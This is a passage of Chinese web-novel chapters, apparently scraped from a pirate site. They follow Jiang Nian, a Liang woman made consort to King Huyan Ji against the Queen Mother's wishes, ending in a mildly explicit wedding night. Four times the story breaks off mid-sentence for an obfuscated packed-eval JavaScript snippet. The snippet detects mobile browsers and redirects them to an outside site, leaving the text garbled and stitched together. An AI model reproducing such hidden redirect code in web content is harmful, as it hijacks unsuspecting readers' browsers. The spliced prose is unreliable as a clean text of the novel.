待她走后,朵氏脸上的笑收了个干干净净,站了一会儿,将嘴角的弧度再次扬起,随后进入殿内。 …… 因着昨晚后半夜下了雨,今日天又阴着,空气里的水分很足,庭中绿植葳蕤。 江念闲来无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15371299|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事,便带着秋月和珠珠去了孔雀苑,三人一路信步缓行,苑里的墙壁上攀着藤萝和一些不知名的杂蔓,大树彤彤如车盖,脚下芳径逶迤,两旁虫声叽叽。 行了一会儿,江念有些累了,便找了一处小亭歇坐。 秋月在旁边给江念打扇,珠珠则半跪在江念脚边,待要替她捏腿。 “用不上你伺候,坐着罢,拿些酸甜的梅子我吃。”江念说道。 珠珠知江念喜欢小食儿,随行时身上总要带些能吃能喝的东西,于是从斜挎包里掏出油纸包,打开,双手奉到江念面前。 “念念阿姐,吃。” 江念拈了一颗放到嘴里,又各拈了一颗喂给珠珠和秋月。 “你们陪我一起吃。” 三人嘴里含着酸梅子,腮上鼓起小包,坐在小亭里吹着微潮的凉风。 “真是可惜了,那样好的一人儿。” 一个宫婢的声音从碧藤那边传来。 “可是呢,也不知犯了什么事,再就没见过。”另一个声音说道。 “若不是他,大妃的身子也好不了,怎的就被逐出王庭了,从前他在时,咱们身上有个小病小灾的,多亏有他,换作别的宫医,是万万叫不动的,现下他走了,以后再找谁去……” 二人说着,走远了。 罗宫医被逐出王庭了?江念脑子里浮现男人那双灰色的眼,苍郁的面容,以及微微消瘦的身形。 略微的惊讶后,也就不去想了,她同这人相交并不很深,只是有些奇怪,当下也不久坐,回了西殿。 其实这半日,她一直恍恍惚惚,因昨夜呼延吉的一番话,揣度那话是认真的还是玩笑,应当是认真的罢,他不至于在这种事情上同自己玩笑。 正想着,呼延吉就回了,宫人们开始张罗起来,又是摆饭,又是随侍应候。 江念见他回了只在外殿坐着,便起身走到外殿。 “怎么只在外面坐着不动?” 一语毕,她发现呼延吉面上有些泛红,那红痕看着很不对,乍见之下,先是一惊,想要问一问,却生生忍住,转口道:“大王到寝屋用饭罢,我让她们把饭摆到里间?” 她大约是知道了,能往呼延吉脸上招呼的,这王庭里除了祥云殿那位,不会有第二人。 可呼延吉乃一国之君,她就算贵为圣太后也不能这样冒犯他!江念真是有些气了,说不出的难受。 他一定是怕她看见,这才不进寝屋,只是他这样子,叫宫人们见了更不好。 呼延吉没有多的话,“嗯”了一声,起身进到寝屋,江念让宫人将菜馔摆到里间,饭菜上来后也不问什么,只是安静地伺候他用饭,饭毕,再让宫人撤去桌面,这才开口。 “没什么说的?” 呼延吉喝了两口茶,一副很是随意的口吻:“说什么?” 她拿指戳上他的脸:“你说呢?” 男人“嘶——”了一声:“你不拿药给我擦一擦,还戳。” 江念便不说话了,起身走到金箔压印的大木柜边,取出一瓷瓶,再走回。 “把脸递过来。” 呼延吉一手搁在桌案上,将半张脸递了给去。 女人先是一怔,见他将自己好的那半张脸伸了过来,气笑道:“另一边的,这边好好的递过来干什么。” 呼延吉龇牙笑了笑:“你亲亲这边,另一边管就好了……” 第112章 湿漉漉地勾诱 江念撑不住吃吃笑起来,走到他另一边跪坐下,用指剜出一点乳白的膏子,涂抹到他的脸上。 “是不是因为立妃之事被责骂了?”江念一面涂抹一面问道。 呼延吉却道:“你不消担心,要么不应你,只要应了你的事,一定给办下来。” 江念便不再说话了。 她和他不仅仅是男女之间的你情我愿,还隔着种族,隔着家国。 她知道他的不易,可还是开口想为自己争取,如果不迈出这一步,怎么谈以后。 待江念涂抹好药膏,呼延吉牵起她的手,问道:“阿姐,如果太后传你去祥云殿,你怕不怕?” 今日他将立妃之事道出,自然就把她从暗处扯到明处,到了明处,就会有一些难以预料之事,避无可避。 他不可能时时守在她的身边,却又担心她没法应付。 他将她拴在这座看似桂殿兰宫,实则暗流涌动的王庭中,不是不知道她要面对什么样的困境,但他希望她能同自己站在一起。 江念想了一想,问道:“太后不会取我性命罢?” 她就怕太后把她叫到祥云殿,不由分说地给她安个罪名,然后拖下去乱棍打死,让她连个叫冤的机会也没有。 呼延吉见她有些怕的样子,故意逗她:“这可说不好。” “要不我看还是算了。”比起做他的妃子,她还是更在意自己的小命。 呼延吉先是愣了一下,盯着她,声音沉了一沉:“什么算了?” 江念刚要说这个妃她不当了,还是选择做奴才,可呼延吉刚才的语调有点不对,溜到嘴边的话在舌尖打了一个转,就变成:“要不这事再缓一缓,我并不着急。” 呼延吉听了,将她抱放到矮几上,双手撑到她的身侧,俯在她的耳边,低声道:“江念,你怕了……” “怎会怕,你莫要瞧不起人。” 男人“嗯——”了一声,腔音拉长,尾音轻颤颤上扬,一双眼在她脸上睃着,最后落到她丰润的唇上,巡视着。 “你看我都为你挨耳刮了,你好歹也拿出些勇气来,我认识的阿姐不论碰到何事,从来是泰然自若,成竹在胸,从容不迫……” 江念被他说得晕晕乎乎,醉酒一般,不知觉男人的唇就覆了上来,先是轻轻碰了碰,见她没抵触,便讨要的得更多。 温软滑入,湿漉漉地勾诱着她,江念觉着呼延吉在这方面很有本事和天赋,仅仅一个亲吻,却能让她心尖发颤。 她就这么在他的诱哄下,软瘫热化了,双臂勾上他的脖,撑住一些力,他也就顺势兜揽上她的腰,忘情地温存了一会儿。 分开时,两人皆有些气喘。 “还怕么?”呼延吉问道。 江念回味了一下刚才的吻,为了以后能名正言顺地品用,她必须得拿出些勇气。 “我几时怕过?” 呼延吉笑着盘腿而坐,给自己倒了一杯茶,轻轻抿上两口:“你尽可放心,太后不会取你的小命。” “你如何知晓?” “我阿兄离世后,她便开始信佛,不杀生的,放心好了。” 江念听说要不了命,也就不怕什么了。 …… 次日,呼延吉天未亮就去了前廷。 彼边的祥云殿…… 朵妲儿昨日听了朵氏的主意,待高太后用完早膳,亲自沏了一碗香茶,双手递到高太后面前。 “妲儿昨日听姐姐说,大王的西殿从前有一梁国女婢,生得极为貌美,说得天上有,地下无的,太后您见过大世面,同妲儿说说,梁国女子真有那般貌美?” 高太后淡淡一笑:“瞧瞧你这点出息,什么时候见过梁女就算见过大世面了?梁人脸面就恁大?” 说罢,追问一句:“你阿姐说我儿的西殿有一梁国女婢?” 昨日,儿子说要立梁女为妃,她一气之下只顾责骂他,竟忘了问那梁女的来历。 难不成就是这个女婢?应当就是了,否则从哪里来一梁女?他成日不是在征战,就是在征战的路上,没精力耗在女人身上,只有回王庭得以松乏。 只是一个梁国人怎么入了王庭?她同小儿子不亲近,他那边的事情也少有过问。 “传朵妃来。”高氏吩咐下去。 宫人领命而去,不一会儿,朵氏来了。 “妾恭请太后圣安。” “不必多礼,坐下罢。”朵氏在宫婢的搀扶下入座。 高太后先关心了几句朵氏的身子:“本来妲儿是来陪你解闷的,现下被我这老妇拘住了。” 朵氏笑道:“她能在太后身边伺候是她的福气,也是妾身的福气,有她在太后身边侍奉,妾也能借由头到祥云殿讨一讨太后的欢心。” 高太后笑着点点头,开口道:“难为你有这份心。”闲说几句后,又问向朵氏:“王庭里也就你同我儿走得近,正巧我有一事问你。” “太后但问,妾恭听。” “你可知王殿有一梁国女婢?” 高太后问罢,见朵氏有些迟疑之态,说道:“怎么?这么一件小事有什么不能说的?还是谁不让你说?” “并非不能说,只是王殿中的事务,妾身并不是很清楚,只隐隐听说,好似有一梁国婢子在王殿中当值。”朵氏说道。 高太后又问:“这女人是何来历,你可知?” “这个妾身属实不知,毕竟是王殿,妾身不好过多打听,平时宫人们闲话,妾身也就听一耳朵,再训诫他们一番,避免嚼舌生事。” 高太后以为能从朵氏嘴里问出什么,结果一问三不知,不过这样才对,若朵氏对王殿的事务知之甚清,她反倒不那么喜欢。 “太后何不将那婢子召到祥云殿直接问话?妲儿也可以饱饱眼福,看看这天上有地下无之人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15371300|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 究竟何种模样,是比咱们多个眼,还是多个鼻子。”朵妲儿笑道。 高太后冷笑一声:“她要多个鼻子或是多个眼,那可不是天上的,那是地下的。” …… 江念这次回西殿,西殿众人也看清了,大王待她不同,还专给她配了两人伺候,一个叫秋月的,还有一个叫珠珠的半大丫头,不仅如此,王连自己的沐室也供她使用。 是以,西殿中的大小事务也不分派给江念做了。 江念不做杂物,总要给自己找点事情做,于是找到制香堂的香工,同她探讨制香之术。 王庭的香工是从民间层层选拔上来的,自然了,不排除民间隐藏技艺更高之人,可绝大部分民间香工比之王庭,还是逊色许多。 江念对制香有兴趣,她一直想要调制一款独一无二的香料,不过现在还没有这个能力,需好好打磨基础技艺,但她有别人没有的天赋,对气味的感知力很强。 “洛香工,我有个制香上的问题想向你请教,可否替我解解惑?” 她最开始学习制香就是请教的这位洛姓香工,那个时候只是一时兴起,无事之时就傍在她的身边,看她制香,其间偶尔问几句,若她正忙,便不理她,若她闲下来,也会同她认真讲解。 总归来说,这位洛香工是个极为严肃之人,对原料克重的把控,还有调香步骤的先后,锱铢必较,在这一点上,江念是十分佩服欣赏的。 洛三姑看向来人:“你要问什么?” 在四季轩时,江念一直是从香谱学习调香,可书上的知识毕竟是死的,碰上问题,只能稀里糊涂地照书上的记载操作,却不明就里。 譬如,哪种药材需先以清酒浸泡,泡多长时间,如果泡得时间过长会如何,时间过短又会如何,她只能照本宣科式的制香,知其然而不知其所以然,没法通晓更深,若不通晓更深,就造不出新的香品。 江念就势拿出香谱,一下就翻到那一页,指着一处,问道:“你看这个帐中香,明明已用蜜蜡封了口,算是制成,为何还要用银炭灰煨三日,才算完?” 洛三姑看了香谱一眼,只见那册子纸页脆化,书脊松动,一看就是被经常翻动。 “用银炭煨三日,是因为银炭可吸附杂质,使烟色更净。”妇人认真道。 江念一听,恍然大悟,堵在心中的疑虑终于得解。 洛三姑见她那样,好似见到自己才学制香时的样子。 正在此时,木雅从另一边走来:“原来在这里,找了你好半晌,祥云殿传召,速去。” 江念听说祥云殿召她,心道,该来的总会来,避是避不过的。她去过一次祥云殿,还是为了给木雅送染料,结果去的路上还下了好大一场雨。 在宫人的引路下,江念进了祥云殿,才一进,就是森然的冷意扑来,激得人一哆嗦…… 第114章 一个如水,一个似火 江念看向上首的年轻女子,想不到她居然会替自己解围。 其实哪怕这位贵女不站出来替她言语,呼延吉也有办法解决,江念仍是朝她投去感激的一瞥。 在江念看向朵妲儿的同时,朵妲儿正巧也看向江念,冲她俏皮地眨了眨眼。 江念心里不得不叹一声,这女子当真是嘴儿巧,刚才还娇憨地问什么是“盲龟浮木”,一脸懵然,真当她开解圣太后之时,佛语纶经却信手拈来。 此等意趣妙人,谁能不爱? 正想着,就听高太后说道:“妲儿是朵妃之妹,客居王庭一些时日,随侍我身侧,散心解闷。”说着,对身边的年轻女子说道,“还不去向大王见礼。” 女子一笑,莲步轻移,趋步下阶,走到呼延吉面前,施了一礼,言语轻松:“妾拜见大王。” 呼延吉微微抬手,笑了笑:“妲儿姐姐几时这般讲究礼数了?” 男人的话引得女子掩嘴儿笑起来。 “难得,大王现在称妾身姐姐,从前把妾推到池子里时,可是叫妾身朵蛋儿呢。” 这话说得殿中人又是一阵笑。 呼延吉八岁去的大梁,未去梁之前,常随兄长出庭游玩,五上姓还有各个世家,都是他经常造访之地。 到了那些人家,他从不客气,总要闹出点事来,不是把人家园子烧了,就是把人家主仆闹得被马蜂追蜇,偏偏众人对这小王一句重话说不得,还得把他供着。 背后众人给他取了个诨号,人称京都小魔王。 到了朵家,就追着朵妲儿叫朵蛋儿,**他一去,不把她逗哭决不罢休,几岁大的小子,最是惹人厌的时候。 朵妲儿的生母气得跟她家老爷哭诉不止,朵尔罕也无法。 有一次,呼延吉随他兄长到朵家,呼延成在前厅议事,他便跑到后园,因天气太热,玩够了,就攀爬到一棵大树上,架坐在树杈间趋阴避阳。 从树隙间见朵妲儿往这边蹦跳而来,最后立在湖边赏鱼。 呼延吉趁她不备,从树枝上摘了一颗果子,对着她的头扔去,结果朵妲儿受了惊,脚下不稳,跌到池子里。 呼延吉见她跌落湖池,知道自己闯了祸,从树上骨碌溜下来,一溜烟跑了。 还好被不远处立着的奴仆及时发现,将朵妲儿捞了上来,差点没淹死。 重提旧事,呼延吉也觉的有些对不住,笑了笑:“那是儿时之事了。” 朵妲儿抿嘴儿笑,又看向他身侧的江念,上上下下好一番打量,眼中尽是笑意,然后拉起江念的手。 “真真是个妙人儿,美人儿姐姐,你年岁几何?” 江念笑道:“今年一过,便二十六了。” “那我叫姐姐便没叫错。”女子看向上首,对高太后说道,“太后,您看这么个人儿,放在眼前光看着就舒心,以后得让江姐姐常来这里,您瞧着咱们这些乌糟人久了,得看看好的洗洗眼。” 这话说得高太后又是一乐。 呼延吉侧眼看向江念,因有话问她,遂开口道:“若是无事,儿子带人先退下。” 高氏的笑收了收,说道:“大王政务辛苦,无需常往我这里来。”说着顿了一顿,又道,“至于她,我只一句话,你立她为妃可以,但不允许生出孩子来,这已是我最大的容忍。” 呼延吉沉目不答,江念看了他两眼,知道他的倔劲又起来了,只好从后扯了他一下,他才再次开口:“儿子先行告退。” 一句不咸不淡的话把高太后刚压下去的火气又拱了起来,正待要发作,呼延吉已带着江念离开了。 …… 江念随呼延吉回了西殿,进到寝屋,她上前替他宽去朝服,如今伺候他的日常起居,已是熟稔。 可今日不知怎的,那衣服上的纽子就像跟她作对似的,解半天解不开。 头顶的视线让她更加焦灼,恨不能将那纽子扯下的好。 “你怎么回事?”男人开口问道。 “我也不知道怎么回事,就是解不开呢。” “你少跟我装睡里梦里的,我是问你这个?” 江念吁出一口气,终是把那粒纽子解开了:“我知道你问的什么,那会儿也不好说。” “那你现在说给我听。” 女人将呼延吉的外衫褪下,挂起,然后走到窗边,往外望了望,那长尾巴的雀儿正在窗外的园子里踱步,两个宫奴在一边给它投食。 呼延吉有些急了,走到她旁边,让她看着自己:“江念,你是不是还打着利用我的主意,才那般轻易提出不要孩子?想着等日后利用完了,找到江轲了,好一走了之?” 他不能不多想,尤其看到她一副无所谓的态度。 江念从他手里挣开,他同她想的完全不是一路,遂说道:“我如今连自己都护不住,有什么能力去护一个孩子?时至今日,我能活下来全靠运气,可这样的运气能有几次,我已尝过失去亲人的滋味,再承受不住……” 呼延吉想说什么,可不得不承认,在夷越,江念的底子太薄了。 当年连兀良慈都不能幸免,又何况江念。 “况且……”江念想了想还是止住了,觉得她现在未被立妃,同呼延吉都不算夫妻,说这些话太早了。 婚都没成,就开始谈孩子,听起来有些可笑。 呼延吉不打算放过,追问道:“况且什么?” “没什么。”她已决定同他一起,就陪他到底,至于孩子,是她没有,不是他没有,她做不了母亲,他仍可以做父亲。 呼延吉沉了一口气:“你不说,我来说,你担心你我结合后,生出的孩子被人瞧不起,被人嘲笑看轻,是也不是?” 江念眼眶微微发红。 “阿姐,你放心,不会的,我向你保证。” “怎么保证?” 呼延吉将人揽入怀里:“你说的对,现在不该谈这些,往后放一放,我需要时间,时机还未到……” 此时的江念,并没有读懂呼延吉话里的意思。 高氏松了口,前朝的大臣们也只象征性地反对了两句,毕竟君王立梁女为妃,并不是立大妃,若是册封梁女为大妃,那前朝后宫有得闹。 江念封妃的日子定下了,封妃仪式由内侍司负责。 这日,王庭正殿,设香案,摆皇权节杖,由大宫监丹增宣读册封诏书。 江念在秋月和木雅等宫婢的伺候下,盛妆装扮,按夷越等级规制着妃服,跪听宣读,再向君王行叩拜,最后内侍司以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15371302|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “梁”字为号,记录入牒。 历来夷越王之妃多半由其姓氏,或是一些祥瑞词汇取号,譬如前夷越王呼延成的朵氏妃,肖氏妃,大妃兀良氏,江念的这个号是圣太后高氏赐予,好似提醒所有人包括江念自己,她的不同,她是梁人。 朵氏在一边看着,有一瞬间的恍惚,恍惚跪在那里的是她,回过神,她仍站在原地,只觉得悲凉。 而一边的朵妲儿面上很是轻松,先看了一眼跪听的江念,又抬眼看向上首的呼延吉。 对夷越人来说,今日有些特别,他们的君王在今日终于立妃了,更特别的是此女是梁国人。 虽说不是册封大妃,也让民间好一番热闹庆贺。 王室更是下令,举办灯会,各地州府在这日于街市,设流水席三日,坊市张灯结彩,人声喧腾。 历来君王只有在立大妃之时才会有此等庆贺,如今立一梁女子为妃,居然也这般大的架势。 内廷先有梁妃,这让未来的大妃如何做想,那威信只怕在这位梁妃前还稍逊一筹。 不过这也是民间百姓茶余饭后的闲谈,就像他们谈起国家大事,总是津津乐道,好似没人比他们更懂。 呼延吉终是等到了这一日,他娶到了她,她成为了他的妻。 江念一回正殿,一刻也等不得,让宫人替她卸下繁重的头饰,这些头饰好看是好看,就是太过沉重,刚簪上那会儿,还能忍,等封妃仪式完成,整个颈脖异常僵涩,再不卸下,她那脖子怕是会断。 待卸去头饰,拆除发辫,换下繁琐的妃服,才算喘过气来。 “主子,我让他们上些膳食罢,直到现在你都没怎么吃过。”秋月说道。 江念点了点头。 不一会儿大膳房摆上可口的菜馔。 正巧呼延吉从外走来,见了这一桌饭菜也饿了,便跟着吃了一些,用饭时,两人都不怎么说话。 用**,宫人们将桌面撤去,呼延吉坐在那里,自顾自取过一玉色的胖肚壶,那里面装着用冰湃过的花茶,他将壶里的花茶倒入面前的两个半透明琉璃盏中。 那冰冰的花茶一入到青色的琉璃盏内,便起了一层水雾,好似剔透的杯壁附着一层朦胧的颗粒。 他将其中一盏推至对面:“尝尝。” 江念端起流光清浅的花茶,轻轻抿了一口便放下。 “不喜欢?”呼延吉问道。 江念脸上有些发红,摇头说道:“我不惯喝花茶。” 呼延吉没多想,知道她每每饭后,会习惯喝一杯清茶,便重新燃了小炉,煮水,待水沸后,沏了清茶给她。 封妃后,她便是他的妻,好像变了,又好像没变什么,她也说不出这种感觉。 呼延吉看起来很平静的模样,低敛着眼皮,用火箸轻轻挑着炉里的银炭。 两人闲谈的言语就像那几粒火星子,看似寥寥,却是炭火般的灼人。 平时二人相处的自在随性,也会有戏闹的亲密,却没走到这一步,真当变成另一种更为亲密的关系时,都有些无措,一个低眉捧热茶,一个敛目挑银炭。 一个如水,一个似火,一经相融便是热腾腾的乳白水汽,昏黄的烛火下,二人变得少言,各自思量着…… 第115章 一身羞情 呼延吉用火箸随意挑拨了两下银炭,飘升起几点子亮红的火星。 江念在他对面慢慢地喝着茶,见他有些发怔,不知他在想什么,遂开口道:“要不要去孔雀苑走一走?” 呼延吉看了她一眼,说道:“才用**,走走也好。” 两人出了西殿,往孔雀苑走去,身后跟着随侍的宫人。 此时天还没有完全暗下,只是褪去了白日的燥热,天空仍是亮的,苑里的空气浸染上草木青青的润凉。 两人沿着石板路逶迤走着,两边绿坪上的珍禽少了,好些飞上枝头栖息下,就这么走了一会儿,碰上了同样饭后游园的朵家两姐妹。 两人上前先是朝呼延吉见礼,然后同江念相互叙礼,再恭送二人离开。 看着二人远去的背影,朵氏侧眼看向朵妲儿,笑了一声儿:“小妹就不羡慕?” 朵妲儿喃喃道:“这样一对璧人,怎能不羡慕呢。” “要我说,小妹比那梁女更该伴在大王身侧,指不定大王的心就在你身上了。”朵氏说道。 朵妲儿听了,认认真真地往朵氏脸上望了望,然后一笑,笑得很有些怪。 “小妹笑什么?”朵氏问道,如今她不敢再出头,就想撺掇朵妲儿,也不知朵妲儿是真傻还是装傻,总不接她的话茬。 朵妲儿仍是笑着,并不答话,朵氏最厌恶她这副不谙世事的模样。 …… 江念同呼延吉在苑中走了一会儿,天色渐渐变暗。 他见她有些累了,提议道:“回罢?” “要不再走会儿。” 呼延吉不说什么,随她继续闲走,渐渐的,天色已然黑透。 呼延吉又道:“还走?再走,晚间咱们就宿在这园子里。” 江念展眼望了望,苑里已点上暗黄黄的烛灯。 “有些晚了,是罢?” “不是有些晚了,是很晚了,你若还要走,我自然陪着你,只是真不累么?”呼延吉说道。 江念笑道:“你不说我还不觉着,叫你一说,真有些走不动了。” 呼延吉也不戳穿她,叫人抬了乘辇来,两人坐着回了西殿。 江念一回寝屋,便踢了鞋,坐在毡毯上,倚着矮几,懒懒的样子。 “磨蹭什么呢。”呼延吉说道 “哪里磨蹭了,就是走累了,歇一会儿,你先去沐洗,我再坐一会儿。” 他见她面上确有疲色,想是白日封妃之典上累着了,便自去了沐室。 沐室里丝雾袅绕,男人从水里冒出头,立起身,池水堪堪齐到他的胸脯之下,他先是抹了一把脸上的水渍,“哗啦——”一声从水里抬起臂膀,将湿发捋到脑后,然后走到池边,撑着头,闷笑出声,那笑声一下就在沐室荡开了,混着壁音,更显声大。 他如何看不出来,她一直在延挨,又要故作平静。 呼延吉从沐室出来,穿了一件月白色的绵软交领长衫,发根滴着水,将衣衫洇出一片深深的湿渍,稀皱在身上,踢鞋,坐到案几边,江念从宫婢手里接过干爽的毛巾,跪坐到他的身后,轻轻拭着他的湿发。 呼延吉扯过她手里的毛巾,说道:“我自己来。” 说罢,见她仍在一边踌躇,便道:“真不打算歇息了?就这么干耗一夜。” 江念这才起身,几个宫婢随在身后,一同进了沐室。 “主子,起身罢。”秋月说道,已经泡了这般久,那池中人似是桃花上脸,香腮红粉,微微丰唇更是潋滟,再泡下去就熟透了。 江念从不觉着自己是什么胆小之人,今夜却生了怯懦之心,她同呼延吉儿时就顽在一处,笑笑闹闹间也有失分寸的时候,二人也习惯了这种试探性的你来我往。 她在他面前,始终端着阿姐的做派,他再胡闹再劣桀,在她面前还是收敛着,不敢放肆太过。 可真要进变成另一种关系,她就不知该如何面对,也不知要怎样自处,在这件事情上,实在有些忸怩不爽利。 可她也清楚迟早要面对,既然决心同他站在一处,这么一道浅浅的坎总要跨过,她只需抬抬脚就能过,他就在前面迎着她。 她从水里起身。 秋月并宫婢们开始近前伺候,用干巾拭去她身上的水渍,再披上藕荷色的绢纱长衫,然后扶她到贵妃榻上,秋月取出玫瑰香膏,温在掌心,一点点给她敷抹。 这乳膏不仅润肤,香味也很特别,混着柔脂的单薄花香,又渗着一捻捻的相思,是她闲暇无事时调制的,市面上买不到。 待秋月给江念全身抹匀香膏,将她搀扶起身。 另一宫婢在那如烟似雾的纱衫外披上一件大袖素缎的外裳,腰间松松系一根丝绦,衣摆垂至脚踝,如云的敞袖精绣着翠色的藤蔓。 江念在宫婢们的环伺下出了沐室,穿过露台,往寝屋内款款行去。 处于前厅的达娃和帕依两姐妹相互对看一眼,庆幸没把江念得罪狠了,谁能料到,当初一个扫酒庭院且无依无靠的梁女,不到一年,居然翻身成了君王之妻。 如今人人尊她一声梁妃。 两人又看了一眼随在江念身侧的秋月和珠珠,叹道,倒让这两人得了便宜。 江念进了寝屋,宫婢们便退下了。 呼延吉正立在窗边,吹着夜风,听见响动,转过身,怔愣一瞬,盈盈烛光中,女人穿着大袖拖地长衫,腰肢袅娜,花貌娉婷地立在那里,脸颊红着,分不清是被水汽熏的,还是羞情。 江念努力忽视落在自己身上的那道视线,往矮几边行去,打算再坐一坐,把头发晾干,才踢去脚下的软底绣鞋,眼前景物一转,她已落到一个强劲又温热的臂弯间。 “真真是急人,你还打算坐到几时?也可怜可怜我罢。” “我头发湿着,不好上榻, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15371303|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 待烘好了再上榻,快放我下来。” “这好办,我替你烘干。”呼延吉把她放到床榻,拿过小暖炉,挥下半边纱帐,入到帐里,坐到她的身后,一手握着小暖炉,一手执起女人墨色的发丝,细心地为她烘干。 轻纱帐里,两人皆是不语,她坐在他的怀里,任他给她烘干湿发。 不知又过了多少时候,殿外响起更声,已是好晚。 江念也忍不住打了一个哈欠,身后的湿发慢慢变轻,逐渐变软。 他的气息近到她的耳后:“歇息罢。” 呼延吉见她默然不语,双臂从后环上她的腰肢,将她拢到身前,让她的后背贴着自己。 两人的心在这一瞬,合到了一处。 男人的心一下又一下强劲地搏动着,而她的心跳在他面前完全失了分寸,被他擒握住,在他发烫的掌间欢动。 呼延吉知道自己脾性不好,对人对物随意惯了,说白了,他并不是个太好伺候的人,可在江念面前,那野性就得压一压,把一腔子温柔都倾在她的身上。 江念身子仍是僵硬的,望着他的那双眼,不免脑中就浮现初次见他时,他那惨兮兮的可怜样。 好小一头狼崽子,任人掐脖提起,瞥见她时,那双眼底有倔强,有**,唯独没有乞望她出手施救的盼念,他蛮狠的傲气,让她折身救下他。 而现在,自己却偃卧在他的榻上,这种感觉又荒诞又奇怪。 呼延吉自然看出了她的紧张和不自在,他一向是惜爱她的,凡事尽可能依她而行,然而今夜,他没法止住。 他将她放到床榻,体谅出她的羞情,从旁拿过一条丝巾,轻轻覆在她的眼上,江念下意识就要扯去,却被呼延吉捺住手腕。 “我知阿姐心底别扭,盖上纱,别看,过了今夜就好。” 江念透过纱巾,看向上方的人,朦朦胧胧如在梦境,若是梦的话,也好…… 她感受到他忍耐得极辛苦,却并不显急切,耐心地使她放松下来, 他的触碰很轻,很轻,从耳下一点点吻去,直到身下的人儿热化,他的手控着那纤腰,不盈一掬。 他很喜欢她身上的味道,暗暗的软香,带着暖意,她身上的体香,是他戒不掉的瘾,以香识人,以香忆人。 后来的后来,他一嗅到这香,便如同她在眼前,那香幻化成了她,勾诱着他,过往的种种,就都在脑中过了一遍,挥之不去。 江念下意识抚上胸前的脑袋,乱了呼吸。 怯怯牡丹绽放,覆盖在女人眼上的纱巾在跌宕中滑落…… 似是终于抑不住,一捻捻细喘从女人的唇间溢出,呼延吉很开心自己使她发出那软声儿,俯在她的耳边,颤声轻唤:“阿姐……” 她在痛中,吻上他耳后的暖意,想让他再轻省点力气,也就是这轻轻一吻,让男人感受到全身周流的酥麻…… 第116章 她是他的妻 云收雨散,他从后拥着她,心里说不出的欢喜,事后比事中还要开心和得意。 他终于同她契合在一处,再不分彼此,哪怕就是现在死去,也值了。 头一次,他不得要领,她紧张僵硬,不过总归来说,还是女人受罪一些。 江念心里来气,打掉他的手,让他离自己远些,心里是有些恼的,可也不是恼呼延吉,而是另有原因。 从前她在江家,让秋水偷摸着拿了些那方面的书籍,每每看得面红耳热,书上说,男女之事,女子如何如何,男子如何如何,原来都是胡编乱造。 反正要生要死她没觉着,只觉着没法忍,尽管呼延吉很小心,可还是形容不出的难受,没体会到一点的轻松。这份难忍把她原先的别扭都冲淡了,之后几日,他别想再碰她。 要说老天爷构造男女身体之时,当真是偏心,初次,男女之间的感受截然不同。 那会儿,呼延吉见她脸都疼白了,知道她遭罪。 “就那般难忍?”这也是他头一次,纵使已格外轻浅小心。 直到江念吻上他的耳,才算完。 “怎的不疼,把你身上破个口子,你试试看疼不疼。”江念猛地转身,看着他。 她这一瞪,呼延吉又势弱了,想说什么又说不出口,无言地抱着她,软语温存了一会儿。 正当此时,门被敲响。 呼延吉让宫婢进入,正好让她们抬水进来,好清洗身子。 随着宫婢们抬水进入,另一个声音在榻前响起。 “老奴叩拜大王,圣太后让老奴给梁妃送避子药丸来。” 说话之人正是圣太后跟前的管事阿姆,姓金,是高氏的陪嫁,当初随高氏一齐进入王庭,身份地位同宫里的宫婢不同,连大宫监丹增在她面前也得客客气气的。 此话一出,整个殿宇瞬间安静。 那些抬水的宫婢们快速退到一边,垂手侍立。 先时帐中无任何动静,缓了一会儿,响起窸窸窣窣的之声,接着锦纱掀起,呼延吉披衣下榻,走到金掌事面前。 老妇人躬身,让身边的宫婢上前,宫婢双手执着托盘,上面放着一个雕花镂鸟的小方盒。 呼延吉拿起,“嗒——”的打开,里面是一褐色如同花生粒大小的药丸。 呼延吉将药丸拿在手里,一点点碾碎,最后拉过祥云殿的宫婢,把手在她身上擦了擦,将指上的药泥拭净。 “金掌事是母亲的跟前人,重话我就不说了,你回话去罢。” 